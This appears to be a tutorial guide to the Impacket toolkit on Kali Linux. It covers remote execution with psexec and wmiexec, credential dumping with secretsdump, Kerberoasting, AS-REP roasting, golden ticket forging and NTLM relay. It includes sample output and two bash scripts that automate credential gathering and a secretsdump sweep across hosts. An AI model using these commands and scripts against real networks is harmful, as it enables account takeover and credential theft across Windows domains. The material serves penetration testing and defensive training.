Impacket: Complete Guide to Network Protocol Exploitation and Active Directory Attacks Using Kali Linux

1. Tool Introduction

Impacket is a collection of Python classes, developed and maintained by Fortra (formerly SecureAuth), for working directly with network protocols at a low level. Rather than being a single tool, Impacket is a library plus a large set of standalone example scripts that implement core building blocks for Windows/Active Directory protocols: SMB/CIFS, MSRPC, Kerberos, NTLM, LDAP, and more. Because of this, Impacket underpins a huge portion of the offensive security tooling ecosystem — CrackMapExec, NetExec, and many custom scripts are all built on top of it. Its example scripts (installed to /usr/share/doc/python3-impacket/examples/ or accessible via commands like psexec.py, secretsdump.py, GetUserSPNs.py) provide ready-to-use command-line utilities for remote command execution, credential dumping, ticket manipulation, and relay attacks.

2. How to Install

# Preinstalled on Kali Linux, but to (re)install:
sudo apt update
sudo apt install python3-impacket -y

# Verify installation
psexec.py --help
secretsdump.py --help

Installing the latest version via pip (recommended to stay current with newly added scripts):

python3 -m pip install impacket --break-system-packages

# Or from source for bleeding-edge features:
git clone https://github.com/fortra/impacket.git
cd impacket
python3 -m pip install . --break-system-packages

3. Syntax

Impacket does not have a single unified binary; each capability is its own script:

<script_name>.py [options] [[domain/]username[:password]@]<target>

Commonly used scripts include: psexec.py, wmiexec.py, smbexec.py, atexec.py, secretsdump.py, GetUserSPNs.py, GetNPUsers.py, ticketer.py, getST.py, ntlmrelayx.py, smbclient.py, mssqlclient.py, rpcdump.py, lookupsid.py.

4. Command-Line Options (Kali Linux)

Shared authentication options across most scripts:

Option	Description
-hashes <LM:NT>	Authenticate using NTLM hash pair instead of a password
-k	Use Kerberos authentication
-no-pass	Do not prompt for a password (use with -k/hashes)
-aesKey <key>	AES key for Kerberos authentication
-dc-ip <ip>	IP of the domain controller
-target-ip <ip>	Explicit IP of the target (when different from hostname)
-codec <codec>	Encoding used for output
-debug	Enable debug/verbose output

psexec.py / wmiexec.py / smbexec.py / atexec.py (remote command execution):

Option	Description
[domain/]user[:password]@target	Positional target/auth spec
-c <path>	(psexec.py) Local executable to upload and run as a service
-shell-type	Shell type to spawn (cmd, powershell)
-service-name <name>	(psexec.py) Custom service name

secretsdump.py (credential dumping):

Option	Description
-sam	Dump only SAM hashes
-security	Dump only LSA secrets
-ntds	Dump NTDS.dit (domain controller)
-just-dc	Dump only DC-relevant data (users) from NTDS.dit
-just-dc-user <user>	Dump a single specific user’s data
-outputfile <file>	Save output to a file
-use-vss	Use Volume Shadow Copy for NTDS.dit extraction

GetUserSPNs.py / GetNPUsers.py (Kerberos attacks):

Option	Description
-request	Request TGS tickets for all found SPNs (Kerberoasting)
-outputfile <file>	Save hashes to crack offline
-usersfile <file>	(GetNPUsers.py) List of usernames to test for AS-REP roasting
-format <hashcat/john>	Output hash format
-dc-ip <ip>	Domain controller IP

ticketer.py / getST.py (ticket manipulation):

Option	Description
-domain-sid <SID>	Domain SID for forged ticket
-domain <domain>	Target domain
-user-id <RID>	RID to impersonate (ticketer.py)
-spn <SPN>	Target service principal name (getST.py)
-aesKey / -nthash	Key material used to forge/sign tickets
-impersonate <user>	User to impersonate (S4U2Self/S4U2Proxy, getST.py)

ntlmrelayx.py (relay attacks):

Option	Description
-t <target>	Single relay target
-tf <file>	File of relay targets
-smb2support	Enable SMB2 support
-i	Interactive SMB shell mode upon successful relay
-socks	Start a SOCKS proxy for relayed sessions
-1	Relay only one connection per victim

smbclient.py (interactive SMB shell):

Option	Description
(no flags)	Drops into an interactive shell supporting use, ls, get, put, cd

5. Basic Usage (Expected Output in Bash)

$ secretsdump.py CORP/administrator:'P@ssw0rd!'@10.10.10.5
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Target system bootKey: 0x1234...
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5d5e0b0d0c0a0f0e0d0c0b0a09080706:::
[*] Cleaning up...

6. Practical Examples with Output

Example 1 – Remote command execution with psexec.py

$ psexec.py CORP/administrator:'P@ssw0rd!'@10.10.10.5
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Requesting shares on 10.10.10.5.....
[*] Uploading file jyKQoNBB.exe
[*] Opening SVCManager on 10.10.10.5.....
[*] Starting service jyKQoNBB.....
Microsoft Windows [Version 10.0.17763]
C:\Windows\system32>whoami
nt authority\system

Example 2 – wmiexec.py semi-interactive shell

$ wmiexec.py CORP/jdoe:'Autumn2024!'@10.10.10.12
Impacket v0.11.0 - Copyright 2023 Fortra
[*] SMBv3.0 dialect used
C:\>whoami
corp\jdoe

Example 3 – Dumping only the SAM database

$ secretsdump.py -sam SAM.save -system SYSTEM.save LOCAL
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Target system bootKey: 0xabc123...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Example 4 – Kerberoasting with GetUserSPNs.py

$ GetUserSPNs.py CORP/jdoe:'Autumn2024!' -dc-ip 10.10.10.5 -request -outputfile kerb_hashes.txt
Impacket v0.11.0 - Copyright 2023 Fortra
ServicePrincipalName    Name        MemberOf     PasswordLastSet
----------------------  ----------  -----------  -------------------
MSSQLSvc/SQL01:1433     svc_sql     Domain Users  2023-05-01 10:22:15
[*] Saved 1 hash to kerb_hashes.txt

Example 5 – AS-REP roasting with GetNPUsers.py

$ GetNPUsers.py CORP/ -usersfile users.txt -dc-ip 10.10.10.5 -format hashcat -outputfile asrep.txt
Impacket v0.11.0 - Copyright 2023 Fortra
$krb5asrep$23$svc_backup@CORP:a1b2c3d4...
[*] Saved 1 AS-REP hash to asrep.txt

Example 6 – Forging a Golden Ticket with ticketer.py

$ ticketer.py -nthash 5d5e0b0d0c0a0f0e0d0c0b0a09080706 -domain-sid S-1-5-21-1111111111-2222222222-3333333333 -domain corp.local Administrator
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Creating basic skeleton ticket and PAC Infos
[*] Signing/Encrypting final ticket
[*] Saving ticket in Administrator.ccache

Example 7 – Starting an NTLM relay server

$ ntlmrelayx.py -tf relay_targets.txt -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Servers started, waiting for connections
[*] SMBD-Thread-4: Received connection from 10.10.10.30, attacking target smb://10.10.10.5
[*] Authenticating against smb://10.10.10.5 as CORP/jdoe SUCCEED

Example 8 – Interactive SMB client shell

$ smbclient.py CORP/jdoe:'Autumn2024!'@10.10.10.5
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# shares
NETLOGON
SYSVOL
C$
# use C$
# cd Users
# ls
drw-rw-rw-          0  Fri Jul 19 09:00:00 2026 Administrator

Example 9 – Enumerating remote procedure call (RPC) endpoints

$ rpcdump.py CORP/jdoe:'Autumn2024!'@10.10.10.5 | grep -A2 "Provider"
Protocol: [MS-SAMR]: Security Account Manager (SAM) Remote Protocol
Provider: SAMSRV.dll
UUID: 12345778-1234-abcd-ef00-0123456789ac

Example 10 – SID lookups/user enumeration with lookupsid.py

$ lookupsid.py CORP/jdoe:'Autumn2024!'@10.10.10.5
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Domain SID is: S-1-5-21-1111111111-2222222222-3333333333
500: CORP\Administrator (SidTypeUser)
501: CORP\Guest (SidTypeUser)
512: CORP\Domain Admins (SidTypeGroup)

7. Common Use Cases

• Remote command execution against Windows hosts using valid credentials or NTLM hashes (psexec.py, wmiexec.py, smbexec.py, atexec.py).
• Credential extraction from SAM, LSA secrets, and NTDS.dit (secretsdump.py) — a core step in most internal AD assessments.
• Kerberos attack techniques: Kerberoasting (GetUserSPNs.py), AS-REP roasting (GetNPUsers.py), and ticket forging/manipulation (ticketer.py, getST.py) for privilege escalation and persistence testing.
• NTLM relay attacks (ntlmrelayx.py) to leverage captured authentication attempts (e.g., via Responder) against other hosts.
• Building custom offensive tooling — Impacket’s Python classes are frequently imported directly into bespoke scripts for protocol-specific research.
• Underlying engine for higher-level tools like CrackMapExec/NetExec, so understanding Impacket helps troubleshoot and extend those tools.

8. Automation with Bash

#!/bin/bash
# impacket_ad_dump.sh - Automate common Impacket credential-gathering steps

DOMAIN="corp.local"
DC_IP="10.10.10.5"
USER="jdoe"
PASS="Autumn2024!"
OUTDIR="./impacket_results"
mkdir -p "$OUTDIR"

echo "[*] Kerberoasting..."
GetUserSPNs.py "$DOMAIN/$USER:$PASS" -dc-ip "$DC_IP" -request -outputfile "$OUTDIR/kerberoast.txt"

echo "[*] AS-REP roasting..."
GetNPUsers.py "$DOMAIN/" -usersfile users.txt -dc-ip "$DC_IP" -format hashcat -outputfile "$OUTDIR/asrep.txt"

echo "[*] RPC endpoint enumeration..."
rpcdump.py "$DOMAIN/$USER:$PASS@$DC_IP" > "$OUTDIR/rpcdump.txt"

echo "[*] Done. Results under $OUTDIR"

#!/bin/bash
# impacket_secretsdump_sweep.sh - Run secretsdump.py against a list of admin-accessible hosts

HOSTS_FILE="admin_hosts.txt"
DOMAIN="CORP"
USER="administrator"
PASS="P@ssw0rd!"
OUTDIR="./dumps"
mkdir -p "$OUTDIR"

while IFS= read -r host; do
  echo "=== Dumping $host ==="
  secretsdump.py "$DOMAIN/$USER:$PASS@$host" -outputfile "$OUTDIR/${host}_dump"
done < "$HOSTS_FILE"

9. Tips and Best Practices

• Use -hashes for pass-the-hash whenever you already have NTLM hashes, avoiding the need to crack passwords first.
• Prefer wmiexec.py for stealthier command execution (no service creation, unlike psexec.py) when OPSEC/detection avoidance matters within the agreed rules of engagement.
• Always run secretsdump.py -just-dc against a domain controller instead of a full -ntds dump when you only need user hashes, since it’s faster and less resource-intensive on the DC.
• Combine GetUserSPNs.py/GetNPUsers.py output directly with Hashcat/John the Ripper (-format hashcat) for offline cracking.
• When using ticketer.py/getST.py for forged/delegated tickets, set KRB5CCNAME to the generated .ccache file and use export KRB5CCNAME=ticket.ccache before using -k with other Impacket scripts.
• Keep Impacket updated via pip, since Microsoft patches and protocol changes (e.g., relay mitigations, PAC validation) are addressed in newer releases.

10. Troubleshooting

Problem	Cause	Solution
STATUS_ACCESS_DENIED on psexec.py/wmiexec.py	Account lacks admin rights on target, or UAC remote restrictions	Verify local admin/Domain Admin equivalence; check LocalAccountTokenFilterPolicy registry setting for local accounts
secretsdump.py -ntds extremely slow	Full DRSUAPI replication on a large domain	Use -just-dc-user <user> to target a specific account, or use -use-vss
Kerberos errors (“Clock skew too great”)	Time not synced between attacking host and DC	sudo ntpdate <dc-ip> or configure chrony
ntlmrelayx.py receives connections but relay fails	Target enforces SMB signing	Target hosts without signing enforced, or pivot to another relay-able protocol (LDAP/HTTP)
Ticket (ticketer.py) not accepted by target	Wrong domain SID, mismatched encryption type, or clock skew	Double-check domain SID accuracy and sync system time

11. References

• GitHub repository: https://github.com/fortra/impacket
• Official Fortra Impacket page: https://www.fortra.com/open-source-tools/impacket
• Kali Linux tool page: https://www.kali.org/tools/impacket-scripts/
• Example script documentation: https://github.com/fortra/impacket/tree/master/examples